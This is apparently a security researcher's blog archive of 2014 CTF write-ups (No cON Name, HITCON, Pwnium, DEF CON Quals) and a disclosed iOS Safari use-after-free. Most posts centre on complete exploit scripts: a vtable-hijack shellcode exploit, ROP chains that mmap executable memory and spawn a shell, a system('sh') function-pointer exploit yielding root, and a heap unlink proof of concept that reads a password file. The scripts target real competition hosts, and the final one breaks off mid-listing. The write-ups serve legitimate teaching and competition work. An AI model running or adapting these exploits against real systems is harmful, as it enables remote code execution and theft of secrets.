During read operation, the type of string is checked. If its a Counted String, the Ptr to Object is read and functions in VTABLE are called. But after update operation, the Ptr to Object points to Ptr to UserString with type still set to Counted. This means first 8 bytes of user string will be considered as pointer to VTABLE.

If we could fake VTABLE with pointer to shellcode, then we have control of program. Absence of NX and string ID returned to users being pointers to heap memory, we could easily achieve this.
> c 1 AAAAA
Program received signal SIGALRM, Alarm clock.
AAA
Your stored string's unique identifier is: 6320176
> c 1 
Your stored string's unique identifier is: 6320384
> u 6320384 BBBBBBBB
Your stored string's new unique identifier is: 6320240
> r 6320240

Program received signal SIGSEGV, Segmentation fault.

   0x4019cb: mov    QWORD PTR [rbp-0x50],rdi
   0x4019cf: mov    rdi,rax
   0x4019d2: mov    rax,QWORD PTR [rbp-0x50]
=> 0x4019d6: call   QWORD PTR [rax+0x10]
   0x4019d9: add    eax,0x1

gdb-peda$ info registers 
rax            0x4242424242424242 0x4242424242424242
We could notice that, a Counted String object could be directly provided as fake VTABLE as [Object+0x10] is a pointer to user controlled string which will be our shellcode.

So the idea of exploit is:
[*] Create two Counted String - ObjectA and ObjectB
[*] ObjectA will have pointer to shellcode supplied as string
[*] Update ObjectB with a new string, this string will be considered as an object due to type confusion
[*] Read ObjectB to trigger the vulnerability
[*] Syscall alarm(0) will disable signal

Below is the exploit:
#!/usr/bin/env python

import re
import time
import struct
import telnetlib
import shellcode

ip = "127.0.0.1"
#ip = "54.165.225.121"
port = 5333

def GetAddress(string): return re.search('[0-9]{8}', string).group()

soc = telnetlib.Telnet(ip, port)
time.sleep(2)
soc.read_very_eager()

# First ObjectA
soc.write('c 1 ' + shellcode.SIGALRM + shellcode.EXECVE + '\n')
ID = soc.read_until('> ')
ObjectA = int(GetAddress(ID))
print '[*] Created counted string at %s' % hex(ObjectA)

# Second ObjectB
soc.write('c 1\n')
ID =  soc.read_until('> ')
ObjectB = int(GetAddress(ID))
print '[*] Created counted string at %s' % hex(ObjectB)

# Updating ObjectB
VTABLE  = struct.pack('<Q', ObjectA)
soc.write('u ' + str(ObjectB) + ' ' + VTABLE + '\n')
ID =  soc.read_until('> ')
UpdatedObjectB = int(GetAddress(ID))
print '[*] Updated object at %s' % hex(UpdatedObjectB)

# Triggering vuln
soc.write('r ' + str(UpdatedObjectB) + '\n')
soc.interact()
Flag for the challenge is flag{SimplyStupidStorage}

Thursday, September 18, 2014

No cON Name CTF Quals 2014 - eXPLicit 500 - [Team SegFault]

We got a statically linked linux 32-bit ELF with NX and stack canary. It had 2 vulnerabilities - format string and buffer overflow, which are easy to find. The idea of the exploit is below:

[*] Leak stack canary using format string vulnerability
[*] Overwrite saved EIP using buffer overflow and call mmap() to allocate memory with RWX permission
[*] Copy shellcode to newly allocated memory using read()
[*] Jump to the shellcode

Since the executable is statically linked we cannot make libc calls, but there is plenty of gadgets to make syscalls.

Here is the full exploit:
#!/usr/bin/env python

import re
import sys
import time
import struct
import telnetlib
import shellcode

ip = "127.0.0.1"
ip = "88.87.208.163"
port = 7070

con = telnetlib.Telnet(ip, port)
QUIT = "q"

# leak canary using format string vuln
con.write("%90$08x\n")
time.sleep(1)
t = con.read_very_eager()
match = re.search("[a-f\d]{8}", t)
if match: canary = struct.pack("<I", int(match.group(),16))
else: sys.exit(0)

# overflow buffer
payload  = QUIT
payload += "A" * 255
payload += canary
payload += "A" * 12

# Setup for mmap()
payload += struct.pack("<I", 0x080bee58) # pop eax ; ret
payload += struct.pack("<I", 7)
payload += struct.pack("<I", 0x0809df7c) # xchg eax, edx ; ret
payload += struct.pack("<I", 0x080499f5) # pop esi ; ret
payload += struct.pack("<I", 0x080d6080) # bss address
payload += struct.pack("<I", 0x080cf0a2) # pop ecx ; or cl, byte [esi] ; or al, 0x43 ; ret
payload += struct.pack("<I", 1024)
payload += struct.pack("<I", 0x0808e0dc) # pop eax ; pop ebx ; pop ebp ; pop esi ; pop edi ; ret
payload += struct.pack("<I", 0xc0)
payload += struct.pack("<I", 0x0badc000)
payload += struct.pack("<I", 0x0)
payload += struct.pack("<I", 34)
payload += struct.pack("<I", 0x0)
payload += struct.pack("<I", 0x08061240) # int 0x80 ; ret

# Setup for read()
payload += struct.pack("<I", 0x080bee58) # pop eax ; ret
payload += struct.pack("<I", 1024)
payload += struct.pack("<I", 0x0809df7c) # xchg eax, edx ; ret
payload += struct.pack("<I", 0x080499f5) # pop esi ; ret
payload += struct.pack("<I", 0x080d6080) # bss address
payload += struct.pack("<I", 0x080cf0a2) # pop ecx ; or cl, byte [esi] ; or al, 0x43 ; ret
payload += struct.pack("<I", 0x0badc000)
payload += struct.pack("<I", 0x080bee58) # pop eax ; ret
payload += struct.pack("<I", 0x3)
payload += struct.pack("<I", 0x08048139) # pop ebx ; ret
payload += struct.pack("<I", 0x4)
payload += struct.pack("<I", 0x08061240) # int 0x80 ; ret

# Jump to shellcode
payload += struct.pack("<I", 0x0badc000)

con.write(payload + "\n")
con.read_until("Bye\n")
con.write(shellcode.DUP2 + shellcode.EXECVE + "\n")
print "[*] Got shell"
con.interact()
Flag for the challenge is NcN_97740ead1060892a253be8ca33c6364a712b21d2

No cON Name CTF Quals 2014 - imMISCible 200 - [Team SegFault]

We were given a gzip compressed file which had the rot13 encoded python source for the challenge. The source had python bytecode which could be disassembled using dis module.
if __name__ == "__main__":
    codeobj = marshal.loads(bytecode.decode('base64'))
    f = new.function(codeobj, globals(), "f", None, None)

dis.dis(f)

  2           0 LOAD_CONST               0 (-1)
              3 LOAD_CONST               1 (('sha1',))
              6 IMPORT_NAME              0 (hashlib)
              9 IMPORT_FROM              1 (sha1)
             12 STORE_NAME               1 (sha1)
             15 POP_TOP             

  3          16 LOAD_CONST               0 (-1)
             19 LOAD_CONST               2 (('getenv',))
             22 IMPORT_NAME              2 (os)
             25 IMPORT_FROM              3 (getenv)
             28 STORE_NAME               3 (getenv)
             31 POP_TOP             

  4          32 LOAD_NAME                3 (getenv)
             35 LOAD_CONST               3 ('NO_CON_NAME')
             38 LOAD_CONST               4 ('')
             41 CALL_FUNCTION            2
             44 LOAD_CONST               5 ('Y')
             47 COMPARE_OP               2 (==)
             50 POP_JUMP_IF_FALSE      147

  6          53 LOAD_CONST               6 (' 57 68 61 74 20 69 73 20 74 68 65 20 61 69 72 2d ')
             56 STORE_GLOBAL             4 (flag)

  7          59 LOAD_GLOBAL              4 (flag)
             62 LOAD_CONST               7 (' 73 70 65 65 64 20 76 65 6c 6f 63 69 74 79 20 6f ')
             65 INPLACE_ADD         
             66 STORE_GLOBAL             4 (flag)

  8          69 LOAD_GLOBAL              4 (flag)
             72 LOAD_CONST               8 (' 66 20 61 6e 20 75 6e 6c 61 64 65 6e 20 73 77 61 ')
             75 INPLACE_ADD         
             76 STORE_GLOBAL             4 (flag)

  9          79 LOAD_GLOBAL              4 (flag)
             82 LOAD_CONST               9 (' 6c 6c 6f 77 3f ')
             85 INPLACE_ADD         
             86 STORE_GLOBAL             4 (flag)

 10          89 LOAD_GLOBAL              4 (flag)
             92 LOAD_ATTR                5 (replace)
             95 LOAD_CONST              10 (' ')
             98 LOAD_CONST               4 ('')
            101 CALL_FUNCTION            2
            104 STORE_GLOBAL             4 (flag)

 11         107 LOAD_GLOBAL              4 (flag)
            110 LOAD_ATTR                6 (decode)
            113 LOAD_CONST              11 ('hex')
            116 CALL_FUNCTION            1
            119 STORE_GLOBAL             4 (flag)

 12         122 LOAD_CONST              12 ('NCN')
            125 LOAD_NAME                1 (sha1)
            128 LOAD_GLOBAL              4 (flag)
            131 CALL_FUNCTION            1
            134 LOAD_ATTR                7 (hexdigest)
            137 CALL_FUNCTION            0
            140 BINARY_ADD          
            141 STORE_GLOBAL             4 (flag)
            144 JUMP_FORWARD             0 (to 147)
        >>  147 LOAD_CONST              13 (None)
            150 RETURN_VALUE        
This translates to below code:
#!/usr/bin/env python

from hashlib import sha1
from os import getenv

#from os import environ
#environ['NO_CON_NAME'] = 'Y'

if getenv('NO_CON_NAME') == 'Y':
    flag  = ' 57 68 61 74 20 69 73 20 74 68 65 20 61 69 72 2d '
    flag += ' 73 70 65 65 64 20 76 65 6c 6f 63 69 74 79 20 6f '
    flag += ' 66 20 61 6e 20 75 6e 6c 61 64 65 6e 20 73 77 61 '
    flag += ' 6c 6c 6f 77 3f '

    flag = flag.replace(' ','').decode('hex')
    flag = 'NCN' + sha1(flag).hexdigest()
    print flag
Flag for the challenge is NCN6ceeeff26e72a40b71e6029a7149ad0626fcf310

Wednesday, August 20, 2014

Hitcon CTF 2014 - Polyglot - Crazy 500

This is not a full solution to the challenge. The challenge was to write a code that could be executed as C, Python 2, Python 3, Ruby and Haskell to print the content of flag file . But I couldn't finish off the Haskell part. Below is the code:
renorobert@ubuntu:/host/HITCON$ cat flag 
TEST____FLAG
renorobert@ubuntu:/host/HITCON$ cat upload.c
#/*
cat = flag = 0
exec("cat<flag;exit;\n__import__('os').system('cat flag');")
"""
*/
void main()
{
char command[] = {'c','a','t',' ','f','l','a','g','\x00'};
system(command);
}/*
"""
#*/
renorobert@ubuntu:/host/HITCON$ python2 upload.c
TEST____FLAG
renorobert@ubuntu:/host/HITCON$ python3 upload.c
TEST____FLAG
renorobert@ubuntu:/host/HITCON$ ruby upload.c
TEST____FLAG
renorobert@ubuntu:/host/HITCON$ gcc upload.c && ./a.out 
TEST____FLAG
Ruby's exec() treats cat<flag as shell command for printing the flag. Python's exec() treats cat<flag as code, thus being treated as conditional statement by initializing cat and flag variables. Then os.system() prints the flag.

Tuesday, August 19, 2014

Hitcon CTF 2014 - RSBO - Pwnable 150 - [Team SegFault]

Challenge binary is an 32-bit ELF, with ASLR and NX enabled. The buffer overflow is straight forward and happens in read() call, thus overwriting saved return address in main function's stack. After this, bytes are swapped by looping over this buffer.
char buffer[0x80];  [EBP-0x60]
size = read_80_bytes(buffer); 
for ( i = 0; i < (signed int)size; ++i ) 
{
    rnd = rand();
    v4 = rnd % (i + 1);   
    v3 = buffer[i];    
    buffer[i] = buffer[v4];  
    buffer[v4] = v3;
}
Random swap could overwrite v4 variable with higer values, there by [buffer+v4] will point to unmapped memory area causing segmentation fault. To avoid this, buffer could be filled with NUL byte till it overwrites the saved EIP. Also we could overwrite the size variable with 0 to terminate the loop using the zero filled buffer, such that payload is not corrupted.

Once all this is done, the final payload to read flag is an ROP chain of open(), read() and write() calls after pivoting the stack into bss section of memory. Below is the final payload:
#!/usr/bin/env python

import struct
from socket import *

ip = '127.0.0.1'
ip = '210.61.8.96'
port = 51342

soc = socket(AF_INET, SOCK_STREAM)
soc.connect((ip,port))

payload  = struct.pack("<I", 0x00) * 26
payload += struct.pack("<I", 0x0804a040) # bss
payload += struct.pack("<I", 0x080483e0) # read@plt
payload += struct.pack("<I", 0x0804865a) # leave ; ret
payload += struct.pack("<I", 0x00)       # stdin
payload += struct.pack("<I", 0x0804a040) # bss
payload += struct.pack("<I", 1024)       # size

# STAGE 2
payload += struct.pack("<I", 0x41414141) # pop ebp of leave instruction
payload += struct.pack("<I", 0x08048420) # open@plt
payload += struct.pack("<I", 0x0804879e) # pop edi ; pop ebp ; ret
payload += struct.pack("<I", 0x080487d0) # Pointer to File
payload += struct.pack("<I", 0x00)       # READ mode

payload += struct.pack("<I", 0x080483e0) # read@plt
payload += struct.pack("<I", 0x0804879d) # pop esi ; pop edi ; pop ebp ; ret
payload += struct.pack("<I", 0x3)        # Descriptor
payload += struct.pack("<I", 0x0804a040+64) # Buffer
payload += struct.pack("<I", 64)         # Size

payload += struct.pack("<I", 0x08048450) # write@plt
payload += struct.pack("<I", 0x42424242) # ret
payload += struct.pack("<I", 0x1)        # stdout
payload += struct.pack("<I", 0x0804a040+64) # Buffer
payload += struct.pack("<I", 64)         # Size

soc.send(payload + '\n')
print soc.recv(128)
Flag for the challenge is HITCON{Y0ur rand0m pay1oad s33ms w0rk, 1uckv 9uy}

Friday, August 1, 2014

Apple iOS Safari Use-After-Free Vulnerability - CVE-2014-1349

This is a vulnerability that I found along with my friend Dhanesh while fuzzing iOS Safari in iPad Mini. The POC could trigger a UAF if invalid URLs were used in SRC attribute. Below is the crash
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xe000000c
0x39f7cb26 in objc_msgSend ()
(gdb) info registers
r0             0x166afbe0       376110048
r1             0x32549ee6       844406502
r2             0x30108831       806389809
r3             0x3      3
r4             0x1658cdf0       374918640
r5             0x17826070       394420336
r6             0x0      0
r7             0x27d5ac2c       668314668
r8             0x166afbe0       376110048
r9             0xe0000000       -536870912
r10            0x17826070       394420336
r11            0x32549ee6       844406502
r12            0x3aaab220       984265248
sp             0x27d5ab98       668314520
lr             0x321756e3       840390371
pc             0x39f7cb26       972540710

(gdb) x/4x $r0
0x166afbe0: 0xe0000000 0xe0000000 0x00000002 0x00000032
(gdb) x/s $r1
0x32549ee6:  "lastObject"
(gdb) bt
#0  0x39f7cb26 in objc_msgSend ()
#1  0x321756e2 in <redacted> ()
(gdb) x/i $pc
0x39f7cb26:  b9 f8 0c c0                   ldrh.w       r12, [r9, #12]
The crash occured in objc_msgSend(). The first argument $r0 points to the receiver object and the selector being "lastObject" pointed by $r1. The receiver object pointed by $r0 is freed memory where 0xe0000000 at $r0 and $r0+4 are heap meta-data pointing to next and prevoius free chunks. In this case its NULL. The 3rd DWORD is the quanta size.
0x39f7cb20 <objc_msgSend+0>:  e8 b1        cbz r0, 0x39f7cb5e  -> check for NULL
0x39f7cb22 <objc_msgSend+2>:  d0 f8 00 90  ldr.w r9, [r0]      -> r9 is loaded from r0 which is freed memory ; class = self->isa
0x39f7cb26 <objc_msgSend+6>:  b9 f8 0c c0  ldrh.w r12, [r9, #12] -> r9 + 12 points to cache mask
0x39f7cb2a <objc_msgSend+10>: d9 f8 08 90  ldr.w r9, [r9, #8]  -> r9 + 8 points to cache; cache = class->cache
0x39f7cb2e <objc_msgSend+14>: 0c ea 01 0c  and.w r12, r12, r1  -> index
0x39f7cb32 <objc_msgSend+18>: 09 eb cc 09  add.w r9, r9, r12, lsl #3 -> r9 = cache + index << 3 ; compute cache entry
0x39f7cb36 <objc_msgSend+22>: d9 f8 00 c0  ldr.w r12, [r9]     -> fetch selector
0x39f7cb3a <objc_msgSend+26>: 9c ea 01 0f  teq r12, r1         -> check the selector
0x39f7cb3e <objc_msgSend+30>: 02 d1        bne.n 0x39f7cb46    -> if no cache hit
0x39f7cb40 <objc_msgSend+32>: d9 f8 04 c0  ldr.w r12, [r9, #4] -> fetch address of method
0x39f7cb44 <objc_msgSend+36>: 60 47        bx r12              -> jump to address
With control over freed memory pointed by $r0 and subsequent control over other pointers, one could use bx r12 to control program execution. This issue was assigned CVE-2014-1349 and fixed in iOS 7.1.2.

Monday, July 7, 2014

Pwnium CTF 2014 - Be a Robot - PWN 200 - [Team SegFault]

A 32-bit ELF was given for this challenge. The binary is simple which reads name and age.
[root@renorobert Pwnium]# ./pwn200
Name: A
Age: 20
Bye dude ;)
The vulnerability was in atExit function. This is what it looked like:
When the age is set to 0 or less, the function pointer is uninitialized.
 
[root@renorobert Pwnium]# ./pwn200
Name: A
Age: 0
Segmentation fault (core dumped)
To exploit this condition, we need to initialize the function pointer with user controlled data. The read_user function, reads 64 bytes of data using fgets into the stack. Later after this call returns, atExit uses the same stack area, thereby giving a possibility to initialize the value.

The idea of the exploit:
[*] Initialize function pointer with PLT address of system function
[*] Fill the stack with pointer to string 'sh' such that, call eax will transfer control to system() function with 'sh' parameter

Below is the exploit code:
#!/usr/bin/env python

import struct
import os

pipe_r, pipe_w = os.pipe()
pid = os.fork()

if pid == 0:
        # child process
        os.close(pipe_w)
        os.dup2(pipe_r, 0)
        os.execl("./pwn200", "./pwn200")

os.close(pipe_r)

payload  = struct.pack("<I", 0x08048c01) * 12   # sh string
payload += struct.pack("<I", 0x08048430)        # system()
payload += struct.pack("<I", 0x08048c01) * 3
payload += "0\n"                                # age value to trigger the issue

os.write(pipe_w, payload)
while 1:
    os.write(pipe_w, raw_input() + "\n")
The ctf server was down most of the time, so this exploit was tested only locally.
[root@renorobert Pwnium]# python exploit.py
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Pwnium CTF 2014 - Breakpoints - RE 300 - [Team SegFault]

We were given a 64-bit stripped ELF for this challenge. We need to generate a valid password for this executable.
[root@renorobert Pwnium]# ./re300
Password : A
:(
Analyzing the file in IDA, there was only 2 functions. Main function at 0x040661A and CheckPassword function at 0x040063A. The Main function had nothing interesting except a ptrace call for anti-debugging.

This is what CheckPassword looked like:
The CheckPassword function was large, so we decided to trace the interesting instructions in it, as the program executes. Idea was to supply arbitrary input and trace the execution.
[root@renorobert MyPinTool]# pin -t trace.so -- ./re300 
Password : Z
:(
0x40064d: cmp eax, 0x712a6ee0
0x400658: cmp eax, 0x712a6ee0
0x400aac: cmp eax, 0xb2fc91ab
0x400ab7: cmp eax, 0xb2fc91ab
0x400cd0: cmp eax, 0xdd01eab3
0x400cdb: cmp eax, 0xdd01eab3
0x400de2: cmp eax, 0xe81c0d24
0x400ded: cmp eax, 0xe81c0d24
0x400e69: cmp eax, 0xf03ad87a
0x400e74: cmp eax, 0xf03ad87a
0x400eb8: cmp eax, 0xf487628c
0x400ec3: cmp eax, 0xf487628c
0x400eda: cmp eax, 0xf6fbb4e5
0x400ee5: cmp eax, 0xfe129837
0x40580e: cmp al, 0x44
0x40582d: cmp al, 0x64
0x40584c: cmp al, 0x31
0x40586b: cmp al, 0x34
0x40588a: cmp al, 0x2a
0x4058a9: cmp al, 0xb
0x4058c8: cmp al, 0x3d
0x4058e7: cmp al, 0x66
0x405906: cmp al, 0x63
0x405925: cmp al, 0x46
0x405944: cmp al, 0x36
0x405963: cmp al, 0x69
0x405982: cmp al, 0x6d
0x40599a: add qword ptr [rbp-0x8], 0x1
0x400586: sub rax, 0x606b20
0x40058c: cmp rax, 0xe
The user supplied value is compared against 0x44, 0x64 ,.., 0x6D. But there was no other computations performed. Looks like only comparisons are made with supplied password.
Lets try another run by supplying 0x44(D) as input.
[root@renorobert MyPinTool]# pin -t trace.so -- ./re300 
Password : D
:(
0x40064d: cmp eax, 0x712a6ee0
0x400658: cmp eax, 0x712a6ee0
0x400aac: cmp eax, 0xb2fc91ab
0x400ab7: cmp eax, 0xb2fc91ab
0x400cd0: cmp eax, 0xdd01eab3
0x400cdb: cmp eax, 0xdd01eab3
0x400de2: cmp eax, 0xe81c0d24
0x400ded: cmp eax, 0xe81c0d24
0x400e69: cmp eax, 0xf03ad87a
0x400e74: cmp eax, 0xf03ad87a
0x400eb8: cmp eax, 0xf487628c
0x400ec3: cmp eax, 0xf487628c
0x400eda: cmp eax, 0xf6fbb4e5
0x400ee5: cmp eax, 0xfe129837
0x40580e: cmp al, 0x44
0x40581c: add qword ptr [rbp-0x8], 0x1
0x400586: sub rax, 0x606b20
0x40058c: cmp rax, 0xe
When the comparison succeeds, rest of the checks are skipped. That looked promising. Lets pass 2 bytes input as 'DZ'
[root@renorobert MyPinTool]# pin -t trace.so -- ./re300 
Password : DZ
:(
0x40064d: cmp eax, 0x712a6ee0
0x400658: cmp eax, 0x712a6ee0
0x400aac: cmp eax, 0xb2fc91ab
0x400ab7: cmp eax, 0xb2fc91ab
0x400cd0: cmp eax, 0xdd01eab3
0x400cdb: cmp eax, 0xdd01eab3
0x400de2: cmp eax, 0xe81c0d24
0x400ded: cmp eax, 0xe81c0d24
0x400e69: cmp eax, 0xf03ad87a
0x400e74: cmp eax, 0xf03ad87a
0x400eb8: cmp eax, 0xf487628c
0x400ec3: cmp eax, 0xf487628c
0x400eda: cmp eax, 0xf6fbb4e5
0x400ee5: cmp eax, 0xfe129837
0x40580e: cmp al, 0x44
0x40581c: add qword ptr [rbp-0x8], 0x1
0x40064d: cmp eax, 0x712a6ee0
0x400658: cmp eax, 0x712a6ee0
0x400aac: cmp eax, 0xb2fc91ab
0x400ab7: cmp eax, 0xb2fc91ab
0x400cd0: cmp eax, 0xdd01eab3
0x400cdb: cmp eax, 0xdd01eab3
0x400ce6: cmp eax, 0xcfcddef9
0x400cf1: cmp eax, 0xcfcddef9
0x400d6d: cmp eax, 0xd81f6c49
0x400d78: cmp eax, 0xd81f6c49
0x400d7f: cmp eax, 0xd28dcea2
0x400d8a: cmp eax, 0xd4f27687
0x400d95: cmp eax, 0xd2283d5c
0x401c5c: cmp al, 0x33
0x401c7b: cmp al, 0x23
0x401c9a: cmp al, 0x36
0x400586: sub rax, 0x606b20
0x40058c: cmp rax, 0xe
The first char is checked against 0x44 which succeeds. The second char is checked against 0x33(3), 0x23 and 0x36. So the next valid char is '3'. Thus by dumping the first checks of each block of comparison we got D3bugG1nG_Th1s_ObfuSc4t3d_C0d3_1s_R34lly_H4rD
[root@renorobert Pwnium]# ./re300
Password : D3bugG1nG_Th1s_ObfuSc4t3d_C0d3_1s_R34lly_H4rD
:)
So flag for the challenge is D3bugG1nG_Th1s_ObfuSc4t3d_C0d3_1s_R34lly_H4rD

Tuesday, May 20, 2014

Defcon Quals 2014 - Gynophage - shitsco - [Use-After-Free Vulnerability]

This one again is 32 bit ELF protected with NX and Canary. The binary implements some operations as below:
Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ ?
==========Available Commands==========
|enable                               |
|ping                                 |
|tracert                              |
|?                                    |
|shell                                |
|set                                  |
|show                                 |
|credits                              |
|quit                                 |
======================================
Type ? followed by a command for more detailed information
Out of this, set and show commands where interesting. This is implemented using a doubly linked list. We re-wrote the routine at 0x08048EF0 which implements the data structure, to find the vulnerability.

The operations done on the linked list is below:
[*] Elements can be added
[*] Elements can be updated
[*] Elements can be removed

Structure declaration:
struct node
{
    char *name;
    char *valu;
    struct node *next;
    struct node *prev;
};

struct node init; // first node is allocated in bss

struct node *iter = &init;
Now, below is the code to handle these procedures:
/* First Variable */

if (var_valu != NULL && iter->name == NULL)
{
    iter->name = strdup(var_name);
    iter->valu = strdup(var_valu);
    return;     // iter->next is not cleared/patched during reallocation of head/next leading to use-after-free
}

/* iter->next->prev is not set to iter on reallocation */

/* Add Variable - Always added to end of list */

if (iter->name != NULL && iter->next == NULL)
{ 
    iter->next = (struct node *)calloc(1,16);
    iter->next->prev = iter;
    iter->next->name = strdup(var_name);
    iter->next->valu = strdup(var_valu); // iter->next->next not set to NULL, with calloc this is not an issue 
}

/* Delete Variable */

if (var_valu == NULL)
{
    if (iter->prev == NULL && iter->next != NULL)  // first node
    {
        iter->next->prev = NULL;
    } 
    else if (iter->next != NULL && iter->prev != NULL) // intermediate node
    {
        iter->prev->next = iter->next;
        iter->next->prev = iter->prev; 
    }
    else if (iter->prev != NULL && iter->next == NULL) // last node
    {
        iter->prev->next = NULL;
    }     

    free(iter->valu);     // Only node
    free(iter->name);
    iter->name = NULL;  
    iter->valu = NULL;     // iter->next is not set to NULL during delete

    if (iter != init)
    {
        free(iter);
    }
}

/* Update variable */
 
if (var_valu != NULL)
{
    free(iter->valu);
    iter->valu = strdup(var_valu);
}
 
Some observations are:
[*] When a value is added, the key value is checked by traversing the linked list nodes one by one. This starts with head in bss
[*] When head->key is NULL, its always allocated
[*] When key and value are set and key is already present is linked list, then update operation is performed
[*] When key is set and value is not set and key is already present is linked list, delete operation is done.

The vulnerability:
[*] Head node in bss does not clear/update its next pointer when its reallocated
[*] When head is reallocated the previous node pointer of next node is not re-linked

This results in next pointer of head element pointing to stray memory, resulting is use-after-free.
Allocate 3 objects:       NULL<- A <->  B  <-> C -> NULL

Delete A:                 NULL<-(A) ->  B  <-> C -> NULL
B's prev pointer is set to NULL, A's next pointer is stray

Allocate A:               NULL<- A  ->  B  <-> C -> NULL
B's prev pointer is not set to point to A

Delete B:                 NULL<- A  -> (B)  -> C -> NULL
since B's prev pointer is NULL, C's prev reference is set to NULL, thinking its the first element. A's next pointer is not cleared and free(B) is called leaving stray pointers in the linked list.
[root@renorobert Defcon2014]# valgrind --leak-check=full --show-reachable=yes ./shitsco_c8b1aa31679e945ee64bde1bdb19d035

For a command list, enter ?
$ set A BBBB
$ set B CCCC
$ set C DDDD
$ set A
$ set A EEEE
$ set B
$ show
A: EEEE
==20202== Invalid read of size 4
==20202==    at 0x8048E98: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> mov  eax, [ebx]; EBX is free in ShowValue
==20202==    by 0x8048B95: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> call dword ptr [ebp+10h]
==20202==    by 0x80488C6: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> call Cmd_Parse
==20202==    by 0x199CC5: (below main) (in /lib/libc-2.12.so)
==20202==  Address 0x402c388 is 0 bytes inside a block of size 16 free'd         
==20202==    at 0x400694F: free (vg_replace_malloc.c:446)
==20202==    by 0x80494BC: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> call SetValue : Free'd during SetValue
==20202==    by 0x8048B95: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x80488C6: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x199CC5: (below main) (in /lib/libc-2.12.so)
==20202== 
==20202== Invalid read of size 4
==20202==    at 0x8048EBD: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> mov edx, [ebx+4]; EBX is free in ShowValue
==20202==    by 0x8048B95: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x80488C6: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x199CC5: (below main) (in /lib/libc-2.12.so)
==20202==  Address 0x402c390 is 8 bytes inside a block of size 16 free'd      
==20202==    at 0x400694F: free (vg_replace_malloc.c:446)
==20202==    by 0x80494BC: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x8048B95: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x80488C6: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x199CC5: (below main) (in /lib/libc-2.12.so)
==20202== 
C: DDDD
We could see that values are read from free'd heap due to stray pointers.
Now to exploit this issue, we need to reallocate user controlled data right in the place of Object B. The size of node is 16 bytes. The binary allocates string in heap using strdup() call. strdup() calls malloc internally as malloc(strlen(char *string) + 1). So by supplying 16 byte data, we could reallocate the freed object with 'set' command.

Below is the trigger to do so:
set AAAAAAAAAAAAAAA0 AAAAAAAAAAAAAAAA
set AAAAAAAAAAAAAAA1 AAAAAAAAAAAAAAAA
set AAAAAAAAAAAAAAA2 AAAAAAAAAAAAAAAA
set AAAAAAAAAAAAAAA4 AAAAAAAAAAAAAAAA
set AAAAAAAAAAAAAAA0
set AAAAAAAAAAAAAAA0 AAAAAAAAAAAAAAAA
set AAAAAAAAAAAAAAA1
set AAAAAAAAAAAAAAA4
set BBBBBBBBBBBBBBBB CCCCCCCCCCCCCCCC
show
[root@renorobert Defcon2014]# cat trigger | ./shitsco_c8b1aa31679e945ee64bde1bdb19d035

Core was generated by `./shitsco_c8b1aa31679e945ee64bde1bdb19d035'.
Program terminated with signal 11, Segmentation fault.
#0  0x001c5c91 in vfprintf () from /lib/libc.so.6
gdb-peda$ info registers 
eax            0x0 0x0
ecx            0xffffffff 0xffffffff
edx            0x43434343 0x43434343
ebx            0x30aff4 0x30aff4
esp            0xffed0bdc 0xffed0bdc
ebp            0xffed1168 0xffed1168
esi            0x30b4e0 0x30b4e0
edi            0x43434343 0x43434343
eip            0x1c5c91 0x1c5c91 
eflags         0x10246 [ PF ZF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63
gdb-peda$ x/i $eip
=> 0x1c5c91 : repnz scas al,BYTE PTR es:[edi]
We could see that the free'd 2nd object is occupied by string CCCCCCCCCCCCCCCC and head object's next pointer points to this memory.
Now to get flag using this vulnerability, the adminbit at 0x0804C3C0 could be set and 'flag' command can be used to read flag. The use-after-free can be used to perform arbitrary write using the doubly-linked list delete operation.
{
  iter->prev->next = iter->next;
  iter->next->prev = iter->prev; 
}
Fake Object should be like:
[Heap address of key][Heap address of value][User controlled address/Valid writable address][address of adminBit-8]
With 'set "key"' as command, delete operation can be triggered so that iter->prev->next will set the adminBit. Then 'flag' can be used to read the flag. It was too late before we could trigger some info leak, to setup valid key:value address for free() call. Task went unsolved!

Updated:
What we could have done is set 0x804C3A0 as key:value pair for the reallocated object. 0x804C3A0 stores the password read from '/home/shitsco/password' and 'show' command would have printed this info.

Below is the POC to read password using UAF:
#!/usr/bin/env python

import struct
import telnetlib
import time

host = 'shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me'
port = 31337
host = '127.0.0.1'

con = telnetlib.Telnet(host, port)
t = con.read_until('$ ')
print t


fake_obj  = struct.pack("<I", 0x08049B08)  # set
fake_obj += struct.pack("<I", 0x0804C3A0)  # password
fake_obj += struct.pack("<I", 0x0804C2C4)  # valid Ptr to fake struct to prevent crash
fake_obj += struct.pack("<I", 0x0804C3C4)

con.write('set AAAAAAAAAAAAAAA0 AAAAAAAAAAAAAAAA\n')
con.write('set AAAAAAAAAAAAAAA1 AAAAAAAAAAAAAAAA\n')
